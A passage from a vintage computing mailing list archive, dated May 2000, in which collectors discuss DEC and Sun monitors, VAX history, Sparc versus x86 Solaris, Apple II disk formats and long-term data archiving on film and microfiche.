nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mcguire at neurotica.com Wed May 31 16:40:33 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Re: VAX-11? and some C64 stuff (healyzh@aracnet.com) References: <14645.27401.814577.472922@phaduka.neurotica.com> <200005312025.NAA30819@shell1.aracnet.com> Message-ID: <14645.34513.984734.666519@phaduka.neurotica.com> On May 31, healyzh@aracnet.com wrote: > > The good thing, though, about using "original" DEC monitors on > > machines like those is that you can get a wonderfully HUGE tube with a > > deliriously tight dot pitch and fabulous video quality for next to > > nothing because they're fixed-frequency. > > > > The PeeCee world's inability to develop video systems that don't > > require changing sync rates every time the wind blows has afforded the > > Real Workstation world a wonderful advantage...a plethora of gorgeous, > > huge monitors that can be had for a song. :-) > > BUT, if you're short on Desktop space, one really nice 21" multisync monitor > is your best friend. Well, that, X-Windows, and a digital KVM switch. > Remember all those beautiful big monitors take up a lot of space, generate a > lot of heat, and weigh a lot. True...which is why I run *one* machine with a framebuffer...the one I sit in front of. Heavy use of telnet and the DISPLAY environment variable are my friends. :-) I mean, realistically...I'm ONE person, I sit in ONE chair at a time, I drink from ONE can of Mountain Dew at a time...why do I need more than one video system at a time? -Dave McGuire From foo at siconic.com Wed May 31 15:42:16 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:15 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531171545.20200d36@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > >Yes, but how long can we expect the film to last? > > Decades, if processed sloppily, or centuries, if processed archivally. > > The availability and maintainability of the readout systems becomes, IMHO, > the deciding factor. If the data is stored as human-readable text this > isn't so much a problem, until languages change or are forgotten at least. Sounds great, but how readily available is the process of film archiving to hobbyists, how easy is it to master, and how much does it cost? Unless the answers, in order, are extremely, extremely, very little, then keeping the archive on mirrored servers is still the best solution we currently have. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From eric at brouhaha.com Wed May 31 16:46:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <4.3.1.2.20000529215313.01e11220@kerberos.davies.net.au> (message from Huw Davies on Mon, 29 May 2000 21:54:20 +1000) References: <4.3.1.2.20000529215313.01e11220@kerberos.davies.net.au> Message-ID: <20000531214625.5683.qmail@brouhaha.com> Huw Davies wrote: > I'm assuming that the MA780 had four ports rather than the two > I'd assumed it had... Two ports were standard on the MA780, but it was expandable to four. From healyzh at aracnet.com Wed May 31 16:51:52 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:53:15 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: from "Mike Ford" at May 31, 2000 01:57:21 PM Message-ID: <200005312151.OAA10594@shell1.aracnet.com> > >BUT, if you're short on Desktop space, one really nice 21" multisync monitor > >is your best friend. Well, that, X-Windows, and a digital KVM switch. > >Remember all those beautiful big monitors take up a lot of space, generate a > >lot of heat, and weigh a lot. > > My 4 year old CTX 17" flaked out the other day, and my plan for a > replacement is a nice 3 or so year old Sun SVGA 21" with some sort of > second monitor, maybe a portrait or even a 21" greyscale (two monitors on a > mac, or more works seamlessly). > > Any opinions on the Sun 20D10 monitors? or a E20E? > > I also found a couple HP 1097C monitors I need to make a space for, but > can't use on the newer macs I don't think? (haven't tried my sync on green > adapter yet). The question would be what can you run with? ISTR, that some of those newer Sun monitors are quite friendly with PC's and Mac's. I've got my G4/450 on the BNC side of a 21" Viewsonic P815, and my 8500/180 on the VGA side of a Digital branded 17" (Trinitron Tube). I personally think the Trinitron Tubes look the best wonce you get used to the the two wires going through the picture you don't even notice them, and they seem sharper than my Viewsonic. The main thing I look for in a monitor is that it has both BNC and VGA inputs so I can easily/cheaply hook two computers up to it. Despite the fact I like Trinitron Tubes, I did not like the Sony 19-20" monitor that I had, as it made wierd popping noises. The most important consideration would be, if it will support the system you want to use it with. As for running a Dual Headed Mac, I'd love to! I've used dual headed Sun's and HP's and it rocks! I believe at least one list member is running a 9500 with 3 17" monitors! Zane From eric at brouhaha.com Wed May 31 16:52:48 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:15 2005 Subject: A moment of silence... In-Reply-To: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> (geoffrob@stmarks.pp.catholic.edu.au) References: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <20000531215248.5729.qmail@brouhaha.com> Geoff Roberts wrote: > Time is more precious than money. Ask anyone over 40. Maybe so, but it usually takes one to make the other. That old Far Side strip with Einstein proving his new theory that time = money was not far off the mark. From eric at brouhaha.com Wed May 31 16:57:38 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:15 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (message from Sellam Ismail on Mon, 29 May 2000 23:19:12 -0700 (PDT)) References: Message-ID: <20000531215738.5754.qmail@brouhaha.com> Sellam wrote: > Broderbund came out with an 18-sector format for the Apple ][, but in > order for the disk to be readble the first track is encoded as standard > 16-sector format. > > This 18-sector format provided two benefits: 1) increased storage space > and 2) a form of copy protection. On some later Infocom titles for the Apple ][ family, they went to two disk sides, and in order to maximize the amount of data on the second size (and hence minimize flipping), they went to *one* sector per track. This does away with the "wasted space" of intersector gaps. Where they screwed up, though, was in sticking to a single byte of XOR checksum over the entire "sector". The checksum scheme Apple used was arguably inadequate for 256-byte sectors; it was truly horrible for >5.5 Kbyte sectors. From healyzh at aracnet.com Wed May 31 17:08:33 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:53:16 2005 Subject: Finds In-Reply-To: <20000531210909.38980.qmail@hotmail.com> from "Jason McBrien" at May 31, 2000 05:14:07 PM Message-ID: <200005312208.PAA13595@shell1.aracnet.com> I'm actually talking about the fact that for what a nice used Dual Processor Sparc 20 would cost I can go out and buy a far better NEW Dual Celeron system (probably a better PIII system, but I've not priced that). The going price for a Ultra 1 or a Dual Sparc 20 is going to be in the $600-1200 range, depending on the configuration (and if it includes a monitor). Sure an Ultra 80 Quad 450MHz would be nice, BUT what's the price performance to a top of the line Dual Pentium III or Quad Xeon? Also in both examples I'm talking about using *good* parts, not el'cheapo trash. At one point Sun's made sense. However, for home use, and in some/most cases for business use, they're a horrible value. You can get so much more for so much less that it isn't funny. Any idea how a 450Mhz Ultra2 CPU compares to something like a 700Mhz Pentium III? The main reason I can see to go with UltraSparc is if that's what the apps you need run on, or you need a 64-bit CPU today. Trust me, I've argued with myself a *lot* on this :^) The end result is both Sparc and x86 boxes will run Solaris, so unless you can get a *killer* deal on a very nice Sparc system you're going to be better off building a nice Celeron or Pentium III box to run it. Zane > I don't know, those Ultra 80 Quad 450MHz CPU Boxes look niiiiccceee. You're > right about the overall cost/performance ratio of the older hardware, but > you also have to take into consideration how stable the machines are. Take a > $100 low end SPARCStation and $100 of used pentium hardware. You'd probably > get a faster Pentium machine (Maybe a P-90) but take a close look at the > craftsmanship of the machine. Sun's run FOREVER, they just don't fail due to > shoddy hardware designs. Early Pentium designs were REALLY buggy, even the > later models had nasty bugs (f00f anyone?) I know several companies that > kept their 486 servers, even when they were terribly out of date, because > the 486 design had been battle tested for so many years. Keep in mind that > the performance in price/performance also includes multitasking and > stability concerns. > > > Well, I didn't just buy it for that, I got it when that's about what they > > were worth. The only reason I payed as much as I did was because of the > > SCSI S-Bus card in it. > > > > I *really* want a SS20 w/dual SM71's or SM81's, and something like 192MB > > RAM, but then I look at what I can get in an x86 box for that price and > just > > shake my head. I might like Sparcs, but x86 is the only platform Solaris > > makes sense on! > > > > Of course my dream Sparc would be a Dual Ultra 2 :^) > > > > Zane > From cmcmanis at mcmanis.com Wed May 31 17:15:11 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:53:16 2005 Subject: A moment of silence... In-Reply-To: <20000531215248.5729.qmail@brouhaha.com> References: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <4.3.2.7.2.20000531151310.02b2e2b0@208.226.86.10> At 09:52 PM 5/31/00 +0000, Eric wrote: >That old Far Side strip with Einstein proving his new theory that >time = money was not far off the mark. I've found that they are quite interchangeable. You can nearly always exchange money for someone to do something that is otherwise occupying your time, you can nearly always achieve a goal by investing time and effort. --Chuck From CLASSICCMP at trailing-edge.com Wed May 31 17:12:58 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:53:16 2005 Subject: OT: Archiving data (LONG) Message-ID: <000531181258.20200d36@trailing-edge.com> >> >Yes, but how long can we expect the film to last? >> >> Decades, if processed sloppily, or centuries, if processed archivally. > >Sounds great, but how readily available is the process of film archiving >to hobbyists, how easy is it to master, and how much does it cost? This isn't rocket science; archival-quality film processing has been studied for most of a century already. Anyone capable of following the Kodak (or Ilford, or Agfa) directions and who has a kitchen sink, about $25 for hardware, and about $10 for photo chemicals can do it. No, it isn't the point-and-click interface you're used to, but some of us actually enjoy mixing chemicals and processing film and paper by hand. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From eric at brouhaha.com Wed May 31 17:26:10 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:16 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <20000531162912.88074.qmail@hotmail.com> (xds_sigma7@hotmail.com) References: <20000531162912.88074.qmail@hotmail.com> Message-ID: <20000531222610.5917.qmail@brouhaha.com> > Hmm what about microfiche? If you care about long-term archiving, don't store the microfiche in the boxes that have foam padding. The padding crumbles to dust or goo (as I'm sure most of us have seen inside old minicomputers and such). That wouldn't be so bad in and of itself, except that the foam residue actually *reacts* with the microfiche, rendering it unreadable. :-( From foo at siconic.com Wed May 31 16:29:39 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000531215738.5754.qmail@brouhaha.com> Message-ID: On 31 May 2000, Eric Smith wrote: > On some later Infocom titles for the Apple ][ family, they went to two > disk sides, and in order to maximize the amount of data on the second > size (and hence minimize flipping), they went to *one* sector per track. > This does away with the "wasted space" of intersector gaps. Interesting. I never came across any of those. It probably also had the added advantage of allowing for very quick reads. Do you know of any specific titles that used such formatting? I probably have a few of the originals and I'd like to check it out. > Where they screwed up, though, was in sticking to a single byte of XOR > checksum over the entire "sector". The checksum scheme Apple used was > arguably inadequate for 256-byte sectors; it was truly horrible for > >5.5 Kbyte sectors. Truly. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From eric at brouhaha.com Wed May 31 17:31:13 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:16 2005 Subject: OT: Archiving data (LONG) In-Reply-To: (message from Sellam Ismail on Wed, 31 May 2000 11:59:24 -0700 (PDT)) References: Message-ID: <20000531223113.5944.qmail@brouhaha.com> Sellam wrote: > On the other hand, what happens when/if civilization falls into another > dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? > Longevity of the medium becomes an issue if you have a bleak outlook for > our future. Nah, they'll be more interested in our grocery shopping lists. :-) Despite my concern for preserving computer history, I'm not trying to prepare anything to survive a nuclear holocaust. I don't think there's much point. IMHO, preserving the stuff is useful primarily if there *isn't* some major doomsday event. From eric at brouhaha.com Wed May 31 17:36:37 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <20000531223637.5994.qmail@brouhaha.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > And most people (I am not one, but) tend to _read_ unknown EPROMs in an > EPROM _programmer_. Most programmers have this facility, and it saves > them having to wire up ZIF sockets, a PSU, buffers back to I/O ports on a > host computer, etc. Which means that finger trouble, or a fault in the > programmer, could wipe the EPROM. Which is why I always used to leave my EPROM programmer set for a Vpp of 5V (back when devices used Vcc=5V and Vpp typically of 12.5V, 21V, or 25V). That way even if I accidentally told it to program, nothing would happen (unless the part was a 5V-only EEPROM). However, the more recent EPROM programmers I'm using don't have such an option. Anyhow, there are lots of ways to accidentally damage a part, even if you don't put it in an EPROM programmer and tell it to program. From eric at brouhaha.com Wed May 31 17:48:09 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (message from Sellam Ismail on Wed, 31 May 2000 14:29:39 -0700 (PDT)) References: Message-ID: <20000531224809.6097.qmail@brouhaha.com> I wrote: > On some later Infocom titles for the Apple ][ family, they went to two > disk sides, and in order to maximize the amount of data on the second > size (and hence minimize flipping), they went to *one* sector per track. > This does away with the "wasted space" of intersector gaps. Sellam wrote: > Interesting. I never came across any of those. It probably also had the > added advantage of allowing for very quick reads. They did denibblize it on-the-fly, which normal RWTS did not. In that sense, since they sustained the equivalent of 1:1 interleave, it was pretty good. However, there was no reason why the same performance (but not density) couldn't be achieved with standard sectors. The Apple /// SOS disk driver pioneered this, and IIRC Prodos did it as well. > Do you know of any specific titles that used such formatting? I probably > have a few of the originals and I'd like to check it out. I'm not 100% certain, but it would be on later titles that used versions 5 and 6 of the Infocom virtual machine to support large game images. So it was probably used on Beyond Zork, among others. From foo at siconic.com Wed May 31 16:47:59 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:16 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531181258.20200d36@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > This isn't rocket science; archival-quality film processing has been > studied for most of a century already. Anyone capable of following the > Kodak (or Ilford, or Agfa) directions and who has a kitchen sink, about > $25 for hardware, and about $10 for photo chemicals can do it. No, > it isn't the point-and-click interface you're used to, but some of us > actually enjoy mixing chemicals and processing film and paper by hand. I'm not asking for point&click (I'm a CLI guy myself, thank you very much) but something a bit more convenient than having to pull out a microfiche reader and then figure out someway to transfer the data from a photograph to a computer. BTW, how does that get accomplished? I agree it's a great long term solution if you don't have to fall back on it very often. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From pete at dunnington.u-net.com Wed May 31 17:44:33 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:53:16 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Dave McGuire "Re: VAX-11? and some C64 stuff" (May 31, 17:40) References: <14645.27401.814577.472922@phaduka.neurotica.com> <200005312025.NAA30819@shell1.aracnet.com> <14645.34513.984734.666519@phaduka.neurotica.com> Message-ID: <10005312344.ZM13055@indy.dunnington.u-net.com> On May 31, 17:40, Dave McGuire wrote: > I mean, realistically...I'm ONE person, I sit in ONE chair at a > time, I drink from ONE can of Mountain Dew at a time...why do I need > more than one video system at a time? Because you need a second one for all that modern "documentation" that only comes in detestable online form :-) -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Wed May 31 17:58:08 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:53:16 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Sellam Ismail "Re: OT: Archiving data (LONG)" (May 31, 13:42) References: Message-ID: <10005312358.ZM13061@indy.dunnington.u-net.com> On May 31, 13:42, Sellam Ismail wrote: > On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > > > >Yes, but how long can we expect the film to last? > > > > Decades, if processed sloppily, or centuries, if processed archivally. > > > > The availability and maintainability of the readout systems becomes, IMHO, > > the deciding factor. If the data is stored as human-readable text this > > isn't so much a problem, until languages change or are forgotten at least. > > Sounds great, but how readily available is the process of film archiving > to hobbyists, how easy is it to master, and how much does it cost? > > Unless the answers, in order, are extremely, extremely, very little, then > keeping the archive on mirrored servers is still the best solution we > currently have. Well, for monochrome film, which is essentially what Tim was talking about, the answers *are* "extremely, extremely, very little". What it amounts to is using reasonably pure water for the three[1] main processing solutions, making sure the fixing process is properly completed (and uses proper fixer, not a "stabiliser"), and that the film is finally washed thoroughly. [1] Assuming an ordinary silver-based emulsion, developer, stop-bath, and fixer; gold and platinum emulsions also exist, and there are common simple techniques to replace the developed silver image with a dye (typically less robust than the silver, though) or to make it combine with something else. Usually that's done to alter the colour or the contrast though, and isn't applicable to "line" film. -- Pete Peter Turnbull Dept. of Computer Science University of York From allisonp at world.std.com Wed May 31 16:48:30 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:16 2005 Subject: Finds Message-ID: <007601bfcb4c$e7f83660$7764c0d0@ajp166> >On May 31, Zane H. Healy wrote: >> Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to >> give it up for a state of the art single or dual processor PC my opinions >> of acceptable speed might be a little outside the norm :^) Can it connect to the net and run a real IP stack (of course!). Do it run the require apps? Good enough. The criteria is does it do what I require of it, adaquately fast, with acceptable conectivity/compatability? Then again I run DOS, NT(on 486s) and VMS. Allison From allisonp at world.std.com Wed May 31 16:55:13 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:16 2005 Subject: VAX-11? and some C64 stuff Message-ID: <007701bfcb4c$e8c375a0$7764c0d0@ajp166> >On May 31, Jason McBrien wrote: >> First, there was the PDP/8 which came out in the sixties. It was a largish >> "Minicomputer" meaning it didn't fill a room like the IBM 360's, but you >> couldn't exactly toss it in a closet either. Then came the PDP/11, which was >> a bit smaller and 16-Bit in the seventies. Then came the VAX 11/750, >> Digital's first 32-Bit mainframe, in the late seventies/early eighties, and >> dominated the minicomputer market for quite a while. The first VAXes where >> large cabinet sized affairs, needing wacky 380V power mains and hard drives >> the size of a decent size car transmission. Then came the VAXStation 2000, >> which had almost all the power of a VAX 11/750 in a case the size of a >> largish shoebox. The home minicomputer was born. Through the eighties DEC >> still made the huge company-running VAX 7000's, 8000's, 9000's, and 10000's, >> but also made smaller workstation-style counterparts, the VAX 3100's, >> 4000's, MicroVAXes, VAXStations, and VAX-Servers. You can pick up a 3100 or >> 2000 for under $50 if you look hard. 4000's are nicer and run upwards $100. By 1971 a PDP-8 did fit nicely in a closet, small one at that. The VAX lineup was: 1978 1988 780----750---730---microvax-I---MicrovaxII---MV2000 None of the above require 380V 3phase your thinking of the 8650 and others. The 780 did require three phase but was not a bad deal and the 750 and 730 were 110V power. Allison From allisonp at world.std.com Wed May 31 17:04:41 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard Message-ID: <007801bfcb4c$e98ba7a0$7764c0d0@ajp166> >I also like the inductive matrix ROM used in the HP9100. It works by the >coupling between 512 address tracks and 64 data loops in a 14 layer (?) >PCB. The PCB is about 4" square and stores 512 words, each one 64 bits >long. It is _very_ reliable -- 9100s are now about 30 years old, and >while I've had to replace transistors and diodes in them, I've never >heard of the ROM failing. I Gotta get me one of those, they are so likeable. Allison From pete at dunnington.u-net.com Wed May 31 18:06:34 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: Defining Disk Image Dump Standard" (May 31, 19:12) References: Message-ID: <10006010006.ZM13074@indy.dunnington.u-net.com> On May 31, 19:12, Tony Duell wrote: > In any case, for the thime, we are discussing archive format to be > used to store images of these floppies. Store them on something other > than floppies. Like hard disks, CD-ROMs, EPROMs (if you insist!), etc. Can I encode mine on knotted string? My mother has a box with an *awful* lot of string. Should I use the thicker string for DD disk archives? -- Pete Peter Turnbull Dept. of Computer Science University of York From foo at siconic.com Wed May 31 17:06:36 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:16 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <20000531223113.5944.qmail@brouhaha.com> Message-ID: On 31 May 2000, Eric Smith wrote: > Sellam wrote: > > On the other hand, what happens when/if civilization falls into another > > dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? > > Longevity of the medium becomes an issue if you have a bleak outlook for > > our future. > > Nah, they'll be more interested in our grocery shopping lists. :-) > > Despite my concern for preserving computer history, I'm not trying to > prepare anything to survive a nuclear holocaust. I don't think there's > much point. IMHO, preserving the stuff is useful primarily if there > *isn't* some major doomsday event. Don't you want to know if Atlantis really existed, and if so, what their scientists knew? I sure as hell do. I'd hate to think all of our incredible knowledge could be lost to future civilizations because we didn't think to take all the steps necessary to ensure survival of our history. If we aren't here to make sure our often amazing and sometimes abominable civilation lives on despite the worst of scenarios, then what are we here for? Granted this all sounds very noble and lofty, but it is where I'm coming from. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Wed May 31 17:10:33 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000531224809.6097.qmail@brouhaha.com> Message-ID: On 31 May 2000, Eric Smith wrote: > They did denibblize it on-the-fly, which normal RWTS did not. In that > sense, since they sustained the equivalent of 1:1 interleave, it was What encoding method did it use? 4&4 or 6&2? I'll assume 6&2? > pretty good. However, there was no reason why the same performance (but > not density) couldn't be achieved with standard sectors. The Apple /// > SOS disk driver pioneered this, and IIRC Prodos did it as well. Sure, read the raw track into a buffer in memory and then process it. The only drawback is the requirement for a relatively large buffer. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From pechter at pechter.dyndns.org Wed May 31 18:11:55 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:16 2005 Subject: Finds In-Reply-To: <200005312208.PAA13595@shell1.aracnet.com> from "healyzh@aracnet.com" at "May 31, 2000 03:08:33 pm" Message-ID: <200005312311.TAA01695@bg-tc-ppp903.monmouth.com> > > I'm actually talking about the fact that for what a nice used Dual Processor > Sparc 20 would cost I can go out and buy a far better NEW Dual Celeron system > (probably a better PIII system, but I've not priced that). The going price > for a Ultra 1 or a Dual Sparc 20 is going to be in the $600-1200 range, > depending on the configuration (and if it includes a monitor). > > At one point Sun's made sense. However, for home use, and in some/most cases > for business use, they're a horrible value. You can get so much more for so > much less that it isn't funny. Any idea how a 450Mhz Ultra2 CPU compares to > something like a 700Mhz Pentium III? The main reason I can see to go with > UltraSparc is if that's what the apps you need run on, or you need a 64-bit > CPU today. > > Trust me, I've argued with myself a *lot* on this :^) The end result is > both Sparc and x86 boxes will run Solaris, so unless you can get a *killer* > deal on a very nice Sparc system you're going to be better off building a > nice Celeron or Pentium III box to run it. > > Zane Well, the x86 Solaris doesn't seem as solid as the Sparc version... (at least at v7... I haven't run v8 yet at home). And if you support Solaris Sparc at work a home system for a testbed is a good thing. And yes, you can't kill Sparc machines or AIX boxes or VaxStations like you can cheap PC's... although the Seagate in my main Sparcstation20 departmental server did blow chunks on Friday. The 2gb'cuda sounded like a metal lathe. > > > > > > > > Zane Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Wed May 31 18:19:12 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:16 2005 Subject: Sparc find In-Reply-To: <20000531175348.72063.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 01:58:41 pm" Message-ID: <200005312319.TAA01792@bg-tc-ppp903.monmouth.com> > Yeah, a SPARC10 will run Solaris 8, but I wouldn't even consider running CDE > on it. My friend runs a SPARCStation 5 (a newer machine) and says it's > almost unusuable, he's gonna slide back to 2.6. I picked this stuff up from > the University of Michigan Property Disposition, or "The Mad Wolverine's > Computer Emporium" where they price equipment using some sort of roulette > wheel as far as I can tell. Quadra 950? $300. RA-82 Hard drive? $1. They've > got a boatload of older Cisco routers right now (IGS, AGS+) for around $50 > if someone is in the area and needs one. Slick. Too bad it's not local. Rutgers used to do the same stuff, back in the PDP days. > > And yes, my girlfriend knows what a SPARCStation 5 is, and can program PERL > in her sleep. Ah, bliss.... Not bad. My wife does Unix admin -- but she's not a Perl whiz --but she does a pretty good webmistress job... > Now if she only understood why a quarter of the basement is taken up by > machines almost older than we are... > Well, my wife would settle with a quarter of the basement and half the garage. The disposal sale -- all items must go will begin shortly. If I can't find the stuff homes they'll hit the trash. Bill From mrdos at swbell.net Wed May 31 18:27:31 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:53:16 2005 Subject: IBM I/O Selectric/Posting Machine (Was RE: Atari 800 keyboards) Message-ID: <007601bfcb57$cbed8f00$b5703ed8@compaq> How much do you want for it, and where is it? It sounds neat. >God, the dynatyper, I remember that... > >On a related note, I have an old I/O Selectric, not the generalized >model, but one that appears to have been a teller terminal of some >kind. Perhaps it was even used by a vehicle license branch. > >Anyway, I never could get it to function with the IBM controller >that came with it (which I think put out EBCDIC), but it also came >with an aftermarket controller (which I think put out ASCII). > >If anyone has been searching high and low for one of these, I'd >probably let go of it for the right price or trade. > >Shipping will be a killer, tho; it's very heavy. > >-doug q > > From foo at siconic.com Wed May 31 17:24:52 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <10006010006.ZM13074@indy.dunnington.u-net.com> Message-ID: On Wed, 31 May 2000, Pete Turnbull wrote: > > In any case, for the thime, we are discussing archive format to be > > used to store images of these floppies. Store them on something other > > than floppies. Like hard disks, CD-ROMs, EPROMs (if you insist!), etc. > > Can I encode mine on knotted string? My mother has a box with an *awful* > lot of string. Should I use the thicker string for DD disk archives? Sure! The Incas did (ever heard of the Quipu?) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mgregory at vantageresearch.com Wed May 31 18:27:48 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:53:16 2005 Subject: Defining Disk Image Dump Standard Message-ID: <01d901bfcb57$d4f9d7c0$0200a8c0@marvin> -----Original Message----- From: Pete Turnbull To: classiccmp@classiccmp.org Date: Wednesday, May 31, 2000 5:14 PM Subject: Re: Defining Disk Image Dump Standard >On May 31, 19:12, Tony Duell wrote: > >> In any case, for the thime, we are discussing archive format to be >> used to store images of these floppies. Store them on something other >> than floppies. Like hard disks, CD-ROMs, EPROMs (if you insist!), etc. > >Can I encode mine on knotted string? My mother has a box with an *awful* >lot of string. Should I use the thicker string for DD disk archives? > If you want increase your data storage capacity, you could colour code the string, too. Everything old is new again ... we've just re-invented the Inca quipu, a few centuries on. Regards, Mark. From chris at mainecoon.com Wed May 31 18:31:07 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:53:16 2005 Subject: Finds References: <200005312311.TAA01695@bg-tc-ppp903.monmouth.com> Message-ID: <3935A0BB.4DC58CF8@mainecoon.com> Bill Pechter wrote: > Well, the x86 Solaris doesn't seem as solid as the Sparc version... > (at least at v7... I haven't run v8 yet at home). Eh? I run 2.7 on both Sparc and x86 machines, and both are absolutly reliable. I have a bunch of customers where Solaris X86 machines are used in mission critical settings precisely because they're demonstrably as reliable as Sparc hardware and win hands-down from a price-performance standpoint. Despite the fact that I'm typing this on my dual hypersparc running 2.8, the only reason we deploy Sparcs these days is when we're using third-party code that's only available on the Sparc. > And if you support Solaris Sparc at work a home system for a testbed > is a good thing. Yep; that's why I have some of each -- although the number of things that we work with which are only available for Sparc Solaris are dwindling. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From vaxman at uswest.net Wed May 31 18:43:33 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:53:16 2005 Subject: VMS media availability for VAX 8530 In-Reply-To: <4.3.2.7.2.20000531100030.02bac3c0@208.226.86.10> Message-ID: I've copied VMS 5.? onto 9-track tape for my '750. The only major problem is booting standalone backup. 9-tracks aren't bootable (or at least I've never seen a boot program that worked for them). clint On Wed, 31 May 2000, Chuck McManis wrote: > At 10:11 AM 5/31/00 -0400, you wrote: > >I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, > >but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" > >media from the current OpenVMS distro on CD. > > An interesting question. I've VMS 4.x, 5.x, 6.x, and 7.x distributions on > various media but none on 9-trk. I tried to get one recently but it had > already been thrown away (youch!). So is it possible for VMS to _create_ > distribution media? Can you clone from one type to another? I could, > presumably create a 9 track tape with the save sets on them and then create > one with standalone backup so that you could boot standalone backup, and > then copy the save sets. Would that be sufficient? (Unfortunately my TU81+ > is out for the count, no doubt another one will tumble this way.) > > --Chuck > > > From jpl15 at netcom.com Wed May 31 18:42:04 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:53:16 